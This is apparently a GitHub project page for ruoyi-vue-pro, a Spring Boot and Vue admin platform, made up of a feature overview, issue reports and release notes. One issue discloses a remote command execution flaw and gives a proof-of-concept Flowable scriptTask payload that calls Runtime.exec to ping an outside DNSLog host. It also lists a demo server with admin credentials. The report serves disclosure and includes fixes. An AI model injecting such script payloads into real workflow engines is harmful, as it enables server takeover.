基于SpringBoot,Spring Security,JWT,Vue & Element 的前后端分离权限管理系统

Overview

平台简介

芋道,一套全部开源企业级的快速开发平台,毫无保留给个人及企业免费使用。

有任何问题,或者想要的功能,可以在 Issues 中提给艿艿。

  • 前端采用 vue-element-admin
  • 后端采用 Spring Boot、MySQL、Redis。
  • 权限认证使用 Spring Security & Token,支持多终端认证系统。
  • 支持加载动态权限菜单,多方式轻松权限控制。
  • 高效率开发,使用代码生成器可以一键生成前后端代码。

内置功能

分成三种内置功能:

  • 系统功能
  • 基础设施
  • 研发工具

友情提示:本项目基于 RuoYi-Vue 修改,重构优化后端的代码,美化前端的界面。

额外新增的功能,我们使用 🚀 标记。

🙂 所有功能,都通过 单元测试 保证高质量。

系统功能

功能 描述
用户管理 用户是系统操作者,该功能主要完成系统用户配置
在线用户 当前系统中活跃用户状态监控,支持手动踢下线
角色管理 角色菜单权限分配、设置角色按机构进行数据范围权限划分
菜单管理 配置系统菜单,操作权限,按钮权限标识等
部门管理 配置系统组织机构(公司、部门、小组),树结构展现支持数据权限
岗位管理 配置系统用户所属担任职务
字典管理 对系统中经常使用的一些较为固定的数据进行维护
通知公告 系统通知公告信息发布维护
🚀 操作日志 系统正常操作日志记录和查询,集成 Swagger 生成日志内容
登录日志 系统登录日志记录查询包含登录异常

计划新增功能:

  • 短信
  • 邮件
  • 钉钉、飞书等通知

基础设施

功能 描述
🚀 配置管理 对系统动态配置常用参数,支持 SpringBoot 加载
定时任务 在线(添加、修改、删除)任务调度包含执行结果日志
🚀 文件服务 支持本地文件存储,同时支持兼容 Amazon S3 协议的云服务、开源组件
🚀 API 日志 包括 RESTful API 访问日志、异常日志两部分,方便排查 API 相关的问题
MySQL 监控 监视当前系统数据库连接池状态,可进行分析SQL找出系统性能瓶颈
Redis 监控 监控 Redis 数据库的使用情况,使用的 Redis Key 管理
🚀 Java 监控 基于 Spring Boot Admin 实现 Java 应用的监控
🚀 链路追踪 基于 SkyWalking 实现性能监控,特别是链路的追踪
🚀 分布式锁 基于 Redis 实现分布式锁,满足并发场景
🚀 幂等组件 基于 Redis 实现幂等组件,解决重复请求问题
🚀 服务保障 基于 Resilience4j 实现服务的稳定性,包括限流、熔断等功能
🚀 日志服务 轻量级日志中心,查看远程服务器的日志
🚀 单元测试 基于 JUnit + Mockito 实现单元测试,保证功能的正确性、代码的质量等

计划新增:

  • 工作流
  • 错误码

研发工具

功能 描述
🚀 代码生成 前后端代码的生成(Java、Vue、SQL、单元测试),支持 CRUD 下载
🚀 系统接口 基于 Swagger 自动生成相关的 RESTful API 接口文档
🚀 数据库文档 基于 Screw 自动生成数据库文档,支持导出 Word、HTML、MD 格式
表单构建 拖动表单元素生成相应的 HTML 代码

在线体验

演示地址:http://dashboard.yudao.iocoder.cn

  • 账号密码:admin/admin123

文档地址:http://www.iocoder.cn/categories/Yudao/

未来会补充文档和视频,方便胖友冲冲冲!

技术栈

后端

框架 说明 版本 学习指南
Spring Boot 应用开发框架 2.4.2 文档
MySQL 数据库服务器 5.7
Druid JDBC 连接池、监控组件 1.2.4 文档
MyBatis-Plus MyBatis 增强工具包 3.4.1 文档
Redis key-value 数据库 5.0
Redisson Redis 客户端 3.1.46 文档
Spring MVC MVC 框架 5.4.2 文档
Spring Security Spring 安全框架 5.4.2 文档
Hibernate Validator 参数校验组件 6.1.7 文档
Quartz 任务调度组件 2.3.2 文档
Knife4j Swagger 增强 UI 实现 3.0.2 文档
Resilience4j 服务保障组件 1.7.0 文档
SkyWalking 分布式应用追踪系统 8.6.0 文档
Spring Boot Admin Spring Boot 监控平台 8.6.0 文档
Jackson JSON 工具库 2.11.4
MapStruct Java Bean 转换 1.4.1 文档
Lombok 消除冗长的 Java 代码 1.16.14 文档
JUnit Java 单元测试框架 5.7.0 -
Mockito Java Mock 框架 3.6.28 -

前端

框架 说明 版本
Vue JavaScript 框架 2.6.12
Vue Element Admin 后台前端解决方案 -

演示图

-
Comments
  • 运行一段时间会莫名其妙CPU飙升和狂报错记录

    运行一段时间会莫名其妙CPU飙升和狂报错记录

    使用local模式进行package打包成 jar,放到国产化服务器(ARM64,配置32C64G)上用如下命令运行 nohup java -jar yudao-server.jar >> out.log 2>&1& 起初一切正常,CPU平稳运行,top看占用的CPU保持在2%左右平稳运行,但是过了几分钟,系统的定时任务(自定义的那部分定时任务local模式下默认我也没开),日志打印“加载全量租户、sms之类的打印”,然后CPU一直就占用26%左右。。。 但是看日志暂时也还没报错,没管,持续开了一天,发现日志文件突然编程了 34G(如下图),tail -f 看了下狂爆 sms 的错误。

    sms报错信息

    cpu占用飙升

    日志文件out爆满

    question 
    opened by jjzhoujun 16
  • 下载下来后,登录验证图片无法显示

    下载下来后,登录验证图片无法显示

    碰到问题,请在 https://github.com/YunaiV/ruoyi-vue-pro/issues 搜索是否存在相似的 issue。

    不按照模板提交的 issue,会被系统自动删除。

    基本信息

    • ruoyi-vue-pro 版本:1.6.3.1611
    • 操作系统:win10
    • 数据库:wu

    你猜测可能的原因

    (必填)我花费了 2-4 小时自查,发现可能的原因是:验证图片无法显示 不能跳过

    复现步骤

    vscode插件都下了的

    报错信息

    1664445066813

    bug 
    opened by kuitao1018 5
  • core-js npm

    core-js npm

    This dependency was not found:

    • core-js/modules/es.error.cause.js in ./node_modules/@babel/runtime/helpers/createForOfIteratorHelper.js, ./node_modules/cache-loader/dist/cjs.js??ref--12-0!./node_modules/babel-loader/lib!./node_modules/cache-loader/dist/cjs.js??ref--0-0!./node_modules/vue-loader/lib??vue-loader-options!./src/components/bpmnProcessDesigner/package/designer/ProcessDesigner.vue?vue&type=script&lang=js& and 5 others

    To install it, you can run: npm install --save core-js/modules/es.error.cause.js

    bug 
    opened by qq13836848 5
  • mapstruct convert 部分list对象转换缺少单个对象的映射规则

    mapstruct convert 部分list对象转换缺少单个对象的映射规则

    艿艿, 把代码拉下来之后编译报错, 发现部分mapstruct convert内缺少单个对象的映射规则, 是不是有代码没有合并进分支?

    [ERROR] /Users/xxx/github/ruoyi-vue-pro/src/main/java/cn/iocoder/dashboard/modules/system/convert/logger/SysLoginLogConvert.java:[25,30] No target bean properties found: can't map Collection element "SysLoginLogDO sysLoginLogDO" to "SysLoginLogExcelVO sysLoginLogExcelVO". Consider to declare/implement a mapping method: "SysLoginLogExcelVO map(SysLoginLogDO value)". [ERROR] /Users/xxx/github/ruoyi-vue-pro/src/main/java/cn/iocoder/dashboard/modules/system/convert/dict/SysDictTypeConvert.java:[27,35] No target bean properties found: can't map Collection element "SysDictTypeDO sysDictTypeDO" to "SysDictTypeSimpleRespVO sysDictTypeSimpleRespVO". Consider to declare/implement a mapping method: "SysDictTypeSimpleRespVO map(SysDictTypeDO value)". [ERROR] /Users/xxx/github/ruoyi-vue-pro/src/main/java/cn/iocoder/dashboard/modules/system/convert/auth/SysAuthConvert.java:[32,23] No property named "updateTime" exists in source parameter(s). Did you mean "null"? [ERROR] /Users/xxx/github/ruoyi-vue-pro/src/main/java/cn/iocoder/dashboard/modules/infra/convert/logger/InfApiAccessLogConvert.java:[31,34] No target bean properties found: can't map Collection element "InfApiAccessLogDO infApiAccessLogDO" to "InfApiAccessLogExcelVO infApiAccessLogExcelVO". Consider to declare/implement a mapping method: "InfApiAccessLogExcelVO map(InfApiAccessLogDO value)". [ERROR] /Users/xxx/github/ruoyi-vue-pro/src/main/java/cn/iocoder/dashboard/modules/infra/convert/job/InfJobConvert.java:[34,25] No target bean properties found: can't map Collection element "InfJobDO infJobDO" to "InfJobExcelVO infJobExcelVO". Consider to declare/implement a mapping method: "InfJobExcelVO map(InfJobDO value)".

    question 
    opened by lanemy 5
  • The system has a remote command execution vulnerability

    The system has a remote command execution vulnerability

    1.describe The system uses the flowable framework to implement the design and execution of workflow. Flowable supports the parsing of JavaScript, Groovy and other scripts by default. Therefore, when an attacker injects malicious code into an xml template, remote command execution can be implemented to control the system server. 2.example info> address:http://43.139.55.110/ ID:admin password:admin123 2.1 Enter process management image 2.2 New Process>Design Process image 2.3 Save Use burpsuite to capture packages and insert malicious scripts into the process xml template Its script meaning is to use JavaScript to call the Runtime class in Java to execute the exec method The meaning of the command is: make the system execute ping command and request to resolve the domain name of p.test00.top image 2.4 Running process image 2.5 Monitor command execution results The DNSLog platform listens to the system's parsing request for the p.test00.top address, proving that the ping command has been successfully triggered, and the system has a remote command execution vulnerability. image 3.Modification suggestions

    1. Filter all package name prefixes in the script tag or the entire xml template that may call Java local classes, such as java org. sun. com. And concat keywords.
    2. Configure the java security manager SecurityManage, and prohibit remote command execution, file reading and writing, class redefinition and other permissions.

    4.POC <scriptTask id=\"Activity_04rfc64\" scriptFormat=\"JavaScript\" flowable:autoStoreVariables=\"false\"><script>java.lang.Runtime.getRuntime().exec(\"ping p.test00.top\")</script></scriptTask>

    bug 
    opened by fiblue 4
  • 国产化改造-数据库-兼容达梦数,系统-中标麒麟

    国产化改造-数据库-兼容达梦数,系统-中标麒麟

    大佬,国产化能做下兼容吗 我使用的是activity7的,切换了默认了flowable 1.我参考这个进行了改造(添加dm的适配) flowable:https://www.jianshu.com/p/24142518acf7 activity:https://blog.csdn.net/CHINESEZZZ/article/details/113738582

    2.mysql迁移到达梦数据库,乱码问题 参考: https://blog.csdn.net/liaoyue11/article/details/119751011 字段长度设置3倍后还是出现错误,简单执行以下语句后再导出错误执行的表再执行 ALTER TABLE SYSDBA.system_menu MODIFY NAME varchar(100); ALTER TABLE SYSDBA.system_notice MODIFY TITLE varchar(100); ALTER TABLE SYSDBA.system_operate_log MODIFY NAME varchar(150); ALTER TABLE SYSDBA.system_sms_channel MODIFY SIGNATURE varchar(100); ALTER TABLE SYSDBA.system_social_user MODIFY NICKNAME varchar(100);

    CREATE TABLE "SYSDBA"."ACT_RU_EVENT_SUBSCR" ( "ID_" VARCHAR(64) NOT NULL, "REV_" INT NULL, "EVENT_TYPE_" VARCHAR(255) NOT NULL, "EVENT_NAME_" VARCHAR(255) NULL, "EXECUTION_ID_" VARCHAR(64) NULL, "PROC_INST_ID_" VARCHAR(64) NULL, "ACTIVITY_ID_" VARCHAR(64) NULL, "CONFIGURATION_" VARCHAR(255) NULL, "CREATED_" TIMESTAMP(0) DEFAULT NULL, "PROC_DEF_ID_" VARCHAR(64) NULL, "SUB_SCOPE_ID_" VARCHAR(64) NULL, "SCOPE_ID_" VARCHAR(64) NULL, "SCOPE_DEFINITION_ID_" VARCHAR(64) NULL, "SCOPE_TYPE_" VARCHAR(64) NULL, "TENANT_ID_" VARCHAR(255) DEFAULT '' NULL ) ; CREATE TABLE "SYSDBA"."ACT_HI_TSK_LOG" ( "ID_" BIGINT IDENTITY(1,1) NOT NULL, "TYPE_" VARCHAR(64) NULL, "TASK_ID_" VARCHAR(64) NOT NULL, "TIME_STAMP_" TIMESTAMP(0) DEFAULT NULL, "USER_ID_" VARCHAR(255) NULL, "DATA_" VARCHAR(4000) NULL, "EXECUTION_ID_" VARCHAR(64) NULL, "PROC_INST_ID_" VARCHAR(64) NULL, "PROC_DEF_ID_" VARCHAR(64) NULL, "SCOPE_ID_" VARCHAR(255) NULL, "SCOPE_DEFINITION_ID_" VARCHAR(255) NULL, "SUB_SCOPE_ID_" VARCHAR(255) NULL, "SCOPE_TYPE_" VARCHAR(255) NULL, "TENANT_ID_" VARCHAR(255) DEFAULT '' NULL );

    CREATE TABLE "SYSDBA"."ACT_EVT_LOG" ( "LOG_NR_" BIGINT IDENTITY(1,1) NOT NULL, "TYPE_" VARCHAR(64) NULL, "PROC_DEF_ID_" VARCHAR(64) NULL, "PROC_INST_ID_" VARCHAR(64) NULL, "EXECUTION_ID_" VARCHAR(64) NULL, "TASK_ID_" VARCHAR(64) NULL, "TIME_STAMP_" TIMESTAMP(0) DEFAULT NULL, "USER_ID_" VARCHAR(255) NULL, "DATA_" BLOB NULL, "LOCK_OWNER_" VARCHAR(255) NULL, "LOCK_TIME_" TIMESTAMP(0) NULL, "IS_PROCESSED_" TINYINT DEFAULT 0 NULL )

    3.配置数据源后,启动有些报错的 关键字屏蔽的可以参考: https://blog.51cto.com/u_15127535/4081733 关键字:system_tenant.domain,infra_config.group 这两个关键字设置屏蔽了还是不生效,我直接改字段名称了 符号:` 去除

    4.自动生成代码,参考 读取数据库表信息做成适配的?

    <if test="params.driverClassName != null and params.driverClassName == 'com.mysql.cj.jdbc.Driver'">
    			SELECT TABLE_NAME, ENGINE, TABLE_COMMENT, CREATE_TIME FROM INFORMATION_SCHEMA.TABLES
    			WHERE TABLE_SCHEMA = (select database())
    			<if test="params.tableName != null and params.tableName.trim() != ''">
    				AND TABLE_NAME LIKE '%${params.tableName}%'
    			</if>
    			ORDER BY CREATE_TIME DESC
    		</if>
    		<if test="params.driverClassName != null and params.driverClassName == 'oracle.jdbc.driver.OracleDriver'">
    			SELECT TABLE_NAME, COMMENTS TABLE_COMMENT FROM
    				(SELECT ROWNUM AS RN,USER_TAB_COMMENTS.TABLE_NAME TABLE_NAME,USER_TAB_COMMENTS.COMMENTS COMMENTS,USER_TABLES.TABLESPACE_NAME
    				FROM USER_TAB_COMMENTS
    				LEFT JOIN USER_TABLES
    				ON USER_TABLES.TABLE_NAME = USER_TAB_COMMENTS.TABLE_NAME
    				WHERE 1 = 1
    				<if test="params.tableName != null and params.tableName.trim() != ''">
    					AND USER_TABLES.TABLE_NAME LIKE CONCAT(CONCAT('%', #{params.tableName}), '%')
    				</if>
    				)
    		</if>
    		<if test="params.driverClassName != null and params.driverClassName == 'dm.jdbc.driver.DmDriver'">
    
    			SELECT c.TABLE_NAME,c.comments TABLE_COMMENT,
    			o.created CREATE_TIME,o.OWNER ENGINE   FROM user_tab_comments c
    			LEFT JOIN ALL_OBJECTS o on c.TABLE_NAME=o.OBJECT_NAME
    			where  table_name NOT LIKE 'QRTZ_%'
    			AND table_name NOT LIKE 'GEN_%'
    			AND table_name NOT LIKE '#%'
    			and o.OBJECT_TYPE='TABLE' AND o.OWNER=(select username from user_users)
    			<if test="params.tableName != null and params.tableName.trim() != ''">
    				AND TABLE_NAME LIKE '%${params.tableName}%'
    			</if>
    			ORDER BY CREATE_TIME DESC
    		</if>
    		```
    目前还在改造中。。。
    enhancement 
    opened by zw22weiqin 4
  • Bug 每隔一段时间出现的 redis 空指针错误

    Bug 每隔一段时间出现的 redis 空指针错误

    2022-02-09 23:05:37.673 ERROR 5948 --- [SimpleAsyncTaskExecutor-1] [TID: N/A] ageListenerContainer$LoggingErrorHandler : Unexpected error occurred in scheduled task.
    
    java.lang.NullPointerException: null
            at org.springframework.data.redis.stream.StreamPollTask.deserializeAndEmitRecords(StreamPollTask.java:171)
            at org.springframework.data.redis.stream.StreamPollTask.doLoop(StreamPollTask.java:148)
            at org.springframework.data.redis.stream.StreamPollTask.run(StreamPollTask.java:132)
            at java.lang.Thread.run(Unknown Source)
    

    隔一段时间就触发,而且是 SimpleAsyncTaskExecutor-1 线程。看起来是定时任务触发的,redis stream 消息。

    bug 
    opened by crimson-gao 4
  • BUG 报告:TenantContextHolder 不存在租户编号,可能是多线程 bug

    BUG 报告:TenantContextHolder 不存在租户编号,可能是多线程 bug

    运行过程中会每隔一段时间出现 java.lang.NullPointerException: TenantContextHolder 不存在租户编号 这样的 bug,看了下代码,用户在每次请求时会触发 TenantContextWebFilter ,设置 tenant id。 但是 tenant id 使用 tenantContextHolder 保存在 threadLocal 内,在断点调试中显示 setTenant 的线程名是 http-nio-xxxxx。 然后程序中又有一类使用 @scheduled 注解的定时任务,这些定时任务也会去执行函数,继而调用 getRequiredTenantId,然后可能执行这个定时任务的线程没有 setTenant id 过,就报 nullPointerException 了。断点中该线程名为 Scheduler-1

    org.mybatis.spring.MyBatisSystemException: nested exception is org.apache.ibatis.exceptions.PersistenceException: 
    ### Error querying database.  Cause: java.lang.NullPointerException: TenantContextHolder 不存在租户编号
    ### Cause: java.lang.NullPointerException: TenantContextHolder 不存在租户编号
    	at org.mybatis.spring.MyBatisExceptionTranslator.translateExceptionIfPossible(MyBatisExceptionTranslator.java:96)
    	at org.mybatis.spring.SqlSessionTemplate$SqlSessionInterceptor.invoke(SqlSessionTemplate.java:441)
    	at com.sun.proxy.$Proxy136.selectList(Unknown Source)
    	at org.mybatis.spring.SqlSessionTemplate.selectList(SqlSessionTemplate.java:224)
    	at com.baomidou.mybatisplus.core.override.MybatisMapperMethod.executeForMany(MybatisMapperMethod.java:166)
    	at com.baomidou.mybatisplus.core.override.MybatisMapperMethod.execute(MybatisMapperMethod.java:77)
    	at com.baomidou.mybatisplus.core.override.MybatisMapperProxy$PlainMethodInvoker.invoke(MybatisMapperProxy.java:148)
    	at com.baomidou.mybatisplus.core.override.MybatisMapperProxy.invoke(MybatisMapperProxy.java:89)
    	at com.sun.proxy.$Proxy162.selectList(Unknown Source)
    	at com.baomidou.mybatisplus.core.mapper.BaseMapper.selectOne(BaseMapper.java:174)
    	at java.lang.invoke.MethodHandle.invokeWithArguments(MethodHandle.java:627)
    	at com.baomidou.mybatisplus.core.override.MybatisMapperProxy$DefaultMethodInvoker.invoke(MybatisMapperProxy.java:162)
    	at com.baomidou.mybatisplus.core.override.MybatisMapperProxy.invoke(MybatisMapperProxy.java:89)
    	at com.sun.proxy.$Proxy162.selectOne(Unknown Source)
    	at cn.iocoder.yudao.adminserver.modules.system.dal.mysql.dept.SysDeptMapper.selectExistsByUpdateTimeAfter(SysDeptMapper.java:34)
    	at java.lang.invoke.MethodHandle.invokeWithArguments(MethodHandle.java:627)
    	at com.baomidou.mybatisplus.core.override.MybatisMapperProxy$DefaultMethodInvoker.invoke(MybatisMapperProxy.java:162)
    	at com.baomidou.mybatisplus.core.override.MybatisMapperProxy.invoke(MybatisMapperProxy.java:89)
    	at com.sun.proxy.$Proxy162.selectExistsByUpdateTimeAfter(Unknown Source)
    	at cn.iocoder.yudao.adminserver.modules.system.service.dept.impl.SysDeptServiceImpl.loadDeptIfUpdate(SysDeptServiceImpl.java:116)
    	at cn.iocoder.yudao.adminserver.modules.system.service.dept.impl.SysDeptServiceImpl.initLocalCache(SysDeptServiceImpl.java:79)
    	at cn.iocoder.yudao.adminserver.modules.system.service.dept.impl.SysDeptServiceImpl.schedulePeriodicRefresh(SysDeptServiceImpl.java:101)
    	at cn.iocoder.yudao.adminserver.modules.system.service.dept.impl.SysDeptServiceImpl$$FastClassBySpringCGLIB$$5f1de7b3.invoke(<generated>)
    	at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:218)
    	at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:783)
    	at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:163)
    	at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.proceed(CglibAopProxy.java:753)
    	at org.springframework.validation.beanvalidation.MethodValidationInterceptor.invoke(MethodValidationInterceptor.java:123)
    	at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:186)
    	at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.proceed(CglibAopProxy.java:753)
    	at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:698)
    	at cn.iocoder.yudao.adminserver.modules.system.service.dept.impl.SysDeptServiceImpl$$EnhancerBySpringCGLIB$$fa651d8.schedulePeriodicRefresh(<generated>)
    	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
    	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    	at java.lang.reflect.Method.invoke(Method.java:498)
    	at org.springframework.scheduling.support.ScheduledMethodRunnable.run(ScheduledMethodRunnable.java:84)
    	at org.springframework.scheduling.support.DelegatingErrorHandlingRunnable.run(DelegatingErrorHandlingRunnable.java:54)
    	at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)
    	at java.util.concurrent.FutureTask.runAndReset$$$capture(FutureTask.java:308)
    	at java.util.concurrent.FutureTask.runAndReset(FutureTask.java)
    	at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$301(ScheduledThreadPoolExecutor.java:180)
    	at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:294)
    	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
    	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
    	at java.lang.Thread.run(Thread.java:748)
    Caused by: org.apache.ibatis.exceptions.PersistenceException: 
    ### Error querying database.  Cause: java.lang.NullPointerException: TenantContextHolder 不存在租户编号
    ### Cause: java.lang.NullPointerException: TenantContextHolder 不存在租户编号
    	at org.apache.ibatis.exceptions.ExceptionFactory.wrapException(ExceptionFactory.java:30)
    	at org.apache.ibatis.session.defaults.DefaultSqlSession.selectList(DefaultSqlSession.java:153)
    	at org.apache.ibatis.session.defaults.DefaultSqlSession.selectList(DefaultSqlSession.java:145)
    	at org.apache.ibatis.session.defaults.DefaultSqlSession.selectList(DefaultSqlSession.java:140)
    	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
    	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    	at java.lang.reflect.Method.invoke(Method.java:498)
    	at org.mybatis.spring.SqlSessionTemplate$SqlSessionInterceptor.invoke(SqlSessionTemplate.java:427)
    	... 44 common frames omitted
    Caused by: java.lang.NullPointerException: TenantContextHolder 不存在租户编号
    	at cn.iocoder.yudao.framework.tenant.core.context.TenantContextHolder.getRequiredTenantId(TenantContextHolder.java:36)
    	at cn.iocoder.yudao.framework.tenant.core.db.TenantDatabaseInterceptor.getTenantId(TenantDatabaseInterceptor.java:25)
    	at com.baomidou.mybatisplus.extension.plugins.inner.TenantLineInnerInterceptor.builderExpression(TenantLineInnerInterceptor.java:446)
    	at com.baomidou.mybatisplus.extension.plugins.inner.TenantLineInnerInterceptor.processPlainSelect(TenantLineInnerInterceptor.java:244)
    	at com.baomidou.mybatisplus.extension.plugins.inner.TenantLineInnerInterceptor.processSelectBody(TenantLineInnerInterceptor.java:98)
    	at com.baomidou.mybatisplus.extension.plugins.inner.TenantLineInnerInterceptor.processSelect(TenantLineInnerInterceptor.java:86)
    	at com.baomidou.mybatisplus.extension.parser.JsqlParserSupport.processParser(JsqlParserSupport.java:91)
    	at com.baomidou.mybatisplus.extension.parser.JsqlParserSupport.parserSingle(JsqlParserSupport.java:50)
    	at com.baomidou.mybatisplus.extension.plugins.inner.TenantLineInnerInterceptor.beforeQuery(TenantLineInnerInterceptor.java:69)
    	at com.baomidou.mybatisplus.extension.plugins.MybatisPlusInterceptor.intercept(MybatisPlusInterceptor.java:78)
    	at org.apache.ibatis.plugin.Plugin.invoke(Plugin.java:62)
    	at com.sun.proxy.$Proxy168.query(Unknown Source)
    	at org.apache.ibatis.session.defaults.DefaultSqlSession.selectList(DefaultSqlSession.java:151)
    	... 51 common frames omitted
    
    
    bug 
    opened by crimson-gao 4
  • 在数据库表新增字段后,代码生成器生成错误(只有刚添加的字段,原来的字段消失不见)

    在数据库表新增字段后,代码生成器生成错误(只有刚添加的字段,原来的字段消失不见)

    在数据库表新增字段后,代码生成器生成错误(只有刚添加的字段,原来的字段消失不见)

    基本信息

    • ruoyi-vue-pro 版本:1.6.2
    • 操作系统:Win10
    • 数据库:PostgreSQL

    复现步骤

    1. 代码生成页面中,点击导入,选择一张表导入
    2. 点击编辑配置字段,生成代码
    3. 在数据库中,给这张表中新增一个字段,例如:add_status
    4. 代码生成页面中,点击同步按钮
    5. 此时生成的字段只有刚添加的那个字段add_status,其余字段没了。 截图
    6. 再次点击同步按钮,这次原先的字段恢复了,但是没有新增的字段add_status
    7. 再次点击同步按钮,又变成步骤5的状态了
    8. 再次点击同步按钮,又变成步骤6的状态了。。。循环。。。
    bug 
    opened by aboutZZ 3
  • 项目打包异常

    项目打包异常

    在控制台执行 mvn clean package -Dmaven.test.skip=true 命令,将项目进行初始化的打包, 报错:Unknown lifecycle phase ".test.skip=true". You must specify a valid lifecycle phase or a goal in the format : or :[:

    ]:. Available lifecycle phases are: validate, initialize, generate-sources, process-sources, generate-resources, process-resources, compile, process-classes, genera te-test-sources, process-test-sources, generate-test-resources, process-test-resources, test-compile, process-test-classes, test, prepare-package, package, pre-integration-test, integr ation-test, post-integration-test, verify, install, deploy, pre-clean, clean, post-clean, pre-site, site, post-site, site-deploy. -> [Help 1]

    question 
    opened by ouminling 3
  • 多租户bug,登陆时显示租户id未设置

    多租户bug,登陆时显示租户id未设置

    看起来是进入了这一步,登陆前 loginUser 为空

         // 2. 如果请求未带租户的编号,检查是否是忽略的 URL,否则也不允许访问。
            if (tenantId == null && !isIgnoreUrl(request)) {
                log.error("[doFilterInternal][URL({}/{}) 未传递租户编号]", request.getRequestURI(), request.getMethod());
                ServletUtils.writeJSON(response, CommonResult.error(GlobalErrorCodeConstants.BAD_REQUEST.getCode(),
                        "租户的请求未传递,请进行排查"));
                return;
            }
    

    如果我将/admin-api/system/login 放到 ignoreUrls 里面,此处不会再报错,但是其他地方调用 TenantContextHolder.getTenantId 会报空指针错误

    bug 
    opened by crimson-gao 3
  • 改进代码生成功能

    改进代码生成功能

    当业务名 配置小模块包名时,根据 . 生成对应子包。 例如: 表名: demo_user_wallet/demo_user_info 生成代码时 业务名会自动生成 userwallet/userinfo, 对应java的包是 demowallet/demouser 如果将业务名配置为user.wallet/user.info时, 对应的包是demo.wallet/demo.user(注意,这里是一个包名为demo.wallet的包,而不是demo一个包,及wallet子包。 对应生成一个名为demo.wallet的文件夹)

    改进后 当业务名配置为user.wallet/user.info时,对应生成的结构为二级结构(如下),更为灵活

    • demo ---wallet ---user
    opened by rzh0001 0
Releases(v1.6.5)
  • v1.6.5(Dec 1, 2022)

    📈 Statistic

    • 总代码行数:98088
    • 源码代码行数:55926
    • 注释行数:23265
    • 单元测试用例数:671

    ⭐ New Features

    • 【新增】管理后台登录时,使用滑块验证码,由 @xingyu4j 贡献 #238
    • 【新增】SSO 单点登录的示例,包括基于授权码模式、密码模式两种实现 #272
    • 【优化】提升 Vue3 实现管理后台的稳定性、兼容性,基于 vxe-table 解决 el-table 卡顿的问题,由 @xingyu4j 贡献 #271 #282 #283 #288 #291 #293 #299 #300 #314 #316
    • 【优化】使用 LocalDateTime 替换 Date,由 @xingyu4j 贡献 #292
    • 【新增】Spring Cache 在多租户下的支持,由 @whitedolphin 贡献 #257
    • 【新增】流程图 ServiceTask 的完成和 todo 高亮,增加 ServiceTask 节点的 hover 显示内容,由 @FinalFinancialFreedom 贡献 #260
    • 【移除】云片短信渠道,解决云片的安全风险 ea95115
    • 【移除】jasypt-spring-boot-starter 加密库使用 hutool AES 替代 ce3aefa
    • 【移除】Apollo 配置中心,简化学习成本 a8cdf74

    🐞 Bug Fixes

    • 【修复】WxMaService 的 null key in entry 报错,由 @rayyer 贡献 #259
    • 【修复】导入用户后编辑报错,由 @wangjun 贡献 #258
    • 【修复】编辑流程模型时,不退出模拟直接保存,导致后续分配规则报错,由 @wangjun 贡献 #258
    • 【修复】数据权限,不支持隐式内连接的问题
    • 【修复】"定时任务 -> 调度日志 -> 详细"里面,”执行时长“字段显示不正确的问题,由 @idevmo 贡献 #265
    • 【修复】Vue3 代码生成选择父菜单无效,生成的前端代码缺少字段以及格式错误,由 @jueyinghua 贡献 #286
    • 【修复】前端配置管理中参数分类显示错误,由 @guyuezb 贡献 #278
    • 【修复】短信接收报告回调时,设置 errorMsg 不正确,由 @Macro 贡献 #280
    • 【修复】当只修改模型并保存,再发布时,提示"流程定义部署失败,原因:信息未发生变化",由 @SuperHao 贡献 #284
    • 【修复】WXLitePayClient.java 中 copy 应忽略的字段,由 @chenlei65368 贡献 #284
    • 【修复】阿里云 OSS 解析 region 时兼容带 https的 配置,由 @huangyemin 贡献 #276
    • 【修复】三级及以上菜单路由缓存失效问题,由 @咱哥丶 贡献 #290
    • 【修复】钉钉登录时,重定向后 type 丢失导致报错的问题 7093ed3
    • 【修复】无法自定义 Icon 图标的问题 e403684
    • 【修复】访问数据库存储的文件,path 多层级时,无法访问的问题 92ace03
    • 【修复】S3 上传七牛云无 mime type 的问题,由 @石溪 贡献 #313
    • 【修复】流程代办,日期时区转换错误,由 @zy_2021 贡献 #309

    🔨 Dependency Upgrades

    • 【升级】spring boot from 2.6.10 to 2.7.6
    • 【升级】flowable from 6.7.0 to 6.7.2
    • 【升级】hutool from 5.7.22 to 5.8.9
    • 【升级】velocity from 2.2 to 2.3
    • 【升级】druid from 1.2.11 to 1.2.14
    • 【升级】spring boot admin from 2.6.7 to 2.6.9
    • 【升级】mapstruct from 1.4.1 to 1.5.3.Final
    • 【升级】lombok from 1.16.14 to 1.18.24
    • 【升级】mockito from 4.0.0 to 4.8.0
    • 【升级】dynamic-datasource from 3.5.0 to 3.5.2
    • 【升级】redisson from 3.17.4 to 3.17.7
    • 【升级】easyexcel from 3.1.1 to 3.1.2
    • 【升级】vue from 2.7.0 to 2.7.14
    Source code(tar.gz)
    Source code(zip)
  • v1.6.4(Aug 23, 2022)

    📈 Statistic

    • 总代码行数:87565
    • 源码代码行数:54279
    • 注释行数:19868
    • 单元测试用例数:671

    ⭐ New Features

    • 【新增】完善 Vue3 管理后台的工作流实现,由 @xingyu4j 贡献 #238
    • 【新增】管理后台的移动端 yudao-ui-admin-uniapp 项目,采用 uni-app 方案,一份代码多终端适配,同时支持 APP、小程序、H5!#247
